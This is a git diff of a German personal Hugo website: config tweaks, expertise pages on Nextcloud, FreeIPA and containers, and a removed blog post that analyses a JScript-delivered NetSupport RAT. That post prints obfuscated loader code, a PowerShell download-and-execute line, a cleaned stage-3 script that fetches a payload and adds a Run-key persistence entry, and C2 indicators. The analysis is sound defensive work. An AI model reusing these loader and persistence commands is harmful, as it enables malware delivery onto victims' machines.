Compare commits

..

No commits in common. "a0ec4e6629cb15278e8899a50cb24723b431a377" and "c72159f148c945aba0eb44e4cf5193bbb41fe800" have entirely different histories.

13 changed files with 18 additions and 241 deletions

View File

@ -13,7 +13,7 @@ nopub: hugo container
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
rollout: rollout:
kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web kubectl rollout restart deployment www-jmbit-de -n jmbit-web
clean: clean:
rm -rf public rm -rf public

View File

@ -5,7 +5,7 @@ paginate = 5
defaultContentLanguage= "de" defaultContentLanguage= "de"
[params] [params]
contentTypeName = "blog" contentTypeName = "posts"
themeColor = "blue" themeColor = "blue"
showMenuItems = 5 showMenuItems = 5
fullWidthTheme = false fullWidthTheme = false
@ -35,7 +35,7 @@ defaultContentLanguage= "de"
[[languages.de.menu.main]] [[languages.de.menu.main]]
identifier = "Expertise" identifier = "Expertise"
name = "Expertise" name = "Expertise"
url = "/expertise.html" url = "/expertise/"
[[languages.de.menu.main]] [[languages.de.menu.main]]
identifier = "consulting" identifier = "consulting"
name = "Consulting" name = "Consulting"

View File

@ -5,9 +5,7 @@ author: Johannes Bülow
draft: false draft: false
--- ---
| UPDATE | ## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt!
|----------------------------------------------------------------------------------------|
|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! |
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise) ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit

View File

@ -1,126 +0,0 @@
---
title: "JScript delivered RAT"
date: 2023-04-28
draft: false
---
# *DISCLAIMER*
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
| UPDATE |
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
## Einführung
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
(RAT) installiert.
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
JScript-Engine ausgeführt.
## Stage 1
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
Code ausgeben:
```js
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
```
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
```js
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
```
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
Klasse mit String dahinter._
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
```
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
ShElL.APPlIcatioN
scriptIng.fIlesysTemobjeCt
[object Object]FolderExistsC:\userss
[object Object]ShellExecute
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
```
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
```powershell
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
```
## Stage 3
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
```powershell
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
```
_Ausschnitt aus dem Originalcode_
```powershell
#!/usr/bin/env pwsh
&('cd') ${ENV:appdata}
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
${rnum} = 5
${rrnum} = 1337
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
${rstr} = ''
${ran} = .(New-Object System.Random)
for (${i} = 0
${i} -lt ${r`NuM}
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
${rzip} = ${rstr} + ".zip"
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
&(Expand-Archive -path ${path} -destinationpath ${pzip})
${fold} = &(Get-Item) ${pzip} -Force
${fold}.Attributes = Hidden
&(Remove-Item) -path ${path}
&('cd') ${pzip}
Write-Output Start client32.exe
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
${rnm} = ONEN0TEupdate_1337
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
```
_Stage3, aufgeräumt und vereinfacht_
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
erstellt.
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
verbindet.
## IOCs
### C2-Server
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
### Lokal/Filesystem
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
Appdata und zu client32.exe in diesem zeigend
-----------
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
Quelle: bazaar.abuse.ch

View File

@ -1,58 +1,32 @@
--- ---
title: "Expertise" title: "Expertise"
draft: false draft: false
url: 'expertise.html'
--- ---
## Anwendungen ## Anwendungen
**Nextcloud** ## Nextcloud
Freie Kollaborations- und Dateimanagementlösung. Mit Nextcloud können Sie Bilder, Dokumente und andere Dateien synchron Freie Kollaborations- und Dateimanagementlösung. Mit Nextcloud können Sie Bilder, Dokumente und andere Dateien synchron halten und bearbeiten. Nextcloud hat viele Integrationen und Apps, z.B. mit Collabora oder Only Office, um Dateien direkt im Browser bearbeiten zu können.
halten und bearbeiten. Nextcloud hat viele Integrationen und Apps, z.B. mit Collabora oder Only Office, um Dateien Nextcloud kan im Gegensatz zu Office 365 oder Google Drive DSGVO-Konform in Deutschland gehostet und betrieben werden.
direkt im Browser bearbeiten zu können.
Nextcloud kann im Gegensatz zu Office 365 oder Google Drive DSGVO-Konform in Deutschland gehostet und betrieben werden.
[MEHR](/expertise/netxcloud/)
**FreeIPA** ## FreeIPA
FreeIPA ist eine Open-Source Lösung zur Identitätsverwaltung. FreeIPA kann Kerberos, LDAP, NTP, DNS, FreeIPA ist eine Open-Source Lösung zur Identitätsverwaltung. FreeIPA kann Kerberos, LDAP, NTP, DNS, Zertifikatsverwaltung und mehr. Etwa vergleichbar mit Microsoft Active Directory, aber Open Source. Upstream-Projekt für RedHat Identity Management
Zertifikatsverwaltung und mehr. Etwa vergleichbar mit Microsoft Active Directory, aber Open Source.
FreeIPA hat eine einfache Weboberfläche zur Verwaltung von Berechtigungen, Authentifizierung, Authorisierung, DNS,
Zertifikate und Benutzerinformationen.
FreeIPA ist das Upstream-Projekt für RedHat Identity Manager.
[MEHR](/expertise/freeipa/)
**Webserver** ## Webserver
Sowohl nginx als auch Apache sind mir geläufig. Heutzutage setze ich primär nginx ein, da dieser für die üblichen Sowohl nginx als auch Apache sind mir geläufig.
Workloads, z.B. statische Websites, oder als Reverse Proxy vor Java/Node/Python-WebApps. Allerdings hat Apache in
einigen Bereichen (z.B. shared hosting auf einem Webserver, PHP-Anwendungen...) weiterhin Vorteile gegenüber nginx,
und sollte dementsprechend dort auch berücksichtigt werden.
[MEHR](/expertise/webserver/)
**Datenbanken**
Im Bereich der Datenbanken habe ich mich bisher primär auf Relationale Datenbanken fokussiert. Meine Datenbank der Wahl
ist Postgres, Erfahrungen habe ich aber auch im Umgang mit MSSQL (auch unter Linux) und MySQL/MariaDB.
## Virtualisierung & Container ## Virtualisierung & Container
**Virtualisierung** ### Virtualisierung
Im Bereich Virtualisierung kenne ich mich insbesondere mit VMware vSphere und QEMU/KVM (Proxmox, Libvirt) aus. Im Bereich Virtualisierung kenne ich mich insbesondere mit VMware vSphere und QEMU/KVM (Proxmox, Libvirt) aus.
Virtualisierung ist mittlerweile sehr häufig geworden, nahezu jeder Server, der von Endanwendern benutzt wird, ist
keine Physische Maschine mehr, sondern eine VM (egal ob im eigenen Rechenzentrum oder bei einem Hosting-Provider wie
Amazon, Hetzner, Microsoft...)
**Container** ### Container
Mit den Container-Verwaltungstools Docker, Podman und Kubernetes konnte ich bereits einige Erfahrung sammeln, und nutze Mit den Container-Verwaltungstools Docker, Podman und Kubernetes konnte ich bereits einige Erfahrung sammeln, und nutze diese regelmäßig.
diese regelmäßig. Container sind mittlerweile fast genauso weit verbreitet wie Virtuelle Maschinen, haben diesen
gegenüber jedoch einige Vor-, aber auch Nachteile. Der größte Vorteil ist, dass im Gegensatz zu einer VM nicht das
gesamte Betriebssystem virtualisiert werden muss, d.h. ein Container enthält jediglich das Userland.
[MEHR](/expertise/container/)
## Linux ## Linux
**Distributionen** ### Distributionen
Ich habe Kenntnisse in den meisten gängingen Distributionen, aber besonders im Umgang mit Debian (Und darauf basierten Ich habe Kenntnisse in den meisten gängingen Distributionen, aber besonders im Umgang mit Debian (Und darauf basierten Systemen).
Systemen).
Ansonsten kenne ich auch SuSE Linux, Ubuntu, RHEL und darauf basierende Distributionen. Ansonsten kenne ich auch SuSE Linux, Ubuntu, RHEL und darauf basierende Distributionen.
**Automatisierung / Infrastructure as Code** ## Verwaltungssoftware
Zur Verwaltung von Server setze ich primär Ansible ein, durfte aber auch Erfahrungen mit Puppet sammeln. Auf meiner Codeberg-Seite finden sich ein paar Beispiels-Playbooks für Ansible. Meine Linux-Server verwalte ich mithilfe von Ansible
<!-- vim: set wrap linebreak textwidth=120 cc=120 spell spelllang=de,en : -->

View File

@ -1,13 +0,0 @@
---
title: "FreeIPA"
---
FreeIPA ist eine Open-Source Lösung zur Identitätsverwaltung. FreeIPA kann Kerberos, LDAP, NTP, DNS,
Zertifikatsverwaltung und mehr. Etwa vergleichbar mit Microsoft Active Directory, aber Open Source.
FreeIPA hat eine einfache Weboberfläche zur Verwaltung von Berechtigungen, Authentifizierung, Authorisierung, DNS,
Zertifikate und Benutzerinformationen.
FreeIPA kann mit sehr vielen Systemen integriert werden, entweder direkt über LDAP/Kerberos, oder auch etwas
indirekter, z.B. als Authentifizierungs-Provider für Keycloak/Authelia oder andere Single-Sign-On Lösungen.
<!-- vim: set wrap linebreak textwidth=120 cc=120 spell spelllang=de,en : -->

View File

@ -1,6 +0,0 @@
---
title: "Ansible"
date: 2023-05-19T15:54:38+02:00
draft: true
---

View File

@ -1,15 +0,0 @@
---
title: "Container"
---
Mit den Container-Verwaltungstools Docker, Podman und Kubernetes konnte ich bereits einige Erfahrung sammeln, und nutze
diese regelmäßig. Container sind mittlerweile fast genauso weit verbreitet wie Virtuelle Maschinen, haben diesen
gegenüber jedoch einige Vor-, aber auch Nachteile. Der größte Vorteil ist, dass im Gegensatz zu einer VM nicht das
gesamte Betriebssystem virtualisiert werden muss, d.h. ein Container enthält jediglich das Userland. Dadurch wird nicht
nur der vergleichsweise kleine Linux-Kernel (~258MB on Disk auf dem Laptop, mit dem ich diesen Artikel schreibe)
eingespart, sondern auch die meisten üblichen Verwaltungs-Tools, die durch extern laufende Tools
(Docker/Podman/Kubernetes) ersetzt werden. Dadurch wird die Skalierbarkeit vereinfacht. Zudem sind Container meist
*stateless*, haben also keine persistenten Daten.
<!-- vim: set wrap linebreak textwidth=120 cc=120 spell spelllang=de,en : -->

View File

@ -1,6 +0,0 @@
---
title: "Distros"
date: 2023-05-19T15:54:27+02:00
draft: true
---

View File

@ -1,17 +0,0 @@
---
title: "Netxcloud"
date: 2023-05-01T18:06:16+02:00
draft: true
---
Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive,
Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud
kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das
Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung,
Taskmanagement und mehr erweitert
werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann.
<!-- vim: set wrap linebreak textwidth=120 cc=120 : -->

View File

@ -1,6 +0,0 @@
---
title: "Virtualisierung"
date: 2023-05-19T15:53:49+02:00
draft: true
---

View File

@ -1,6 +0,0 @@
---
title: "Webserver"
date: 2023-05-19T15:52:57+02:00
draft: true
---

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB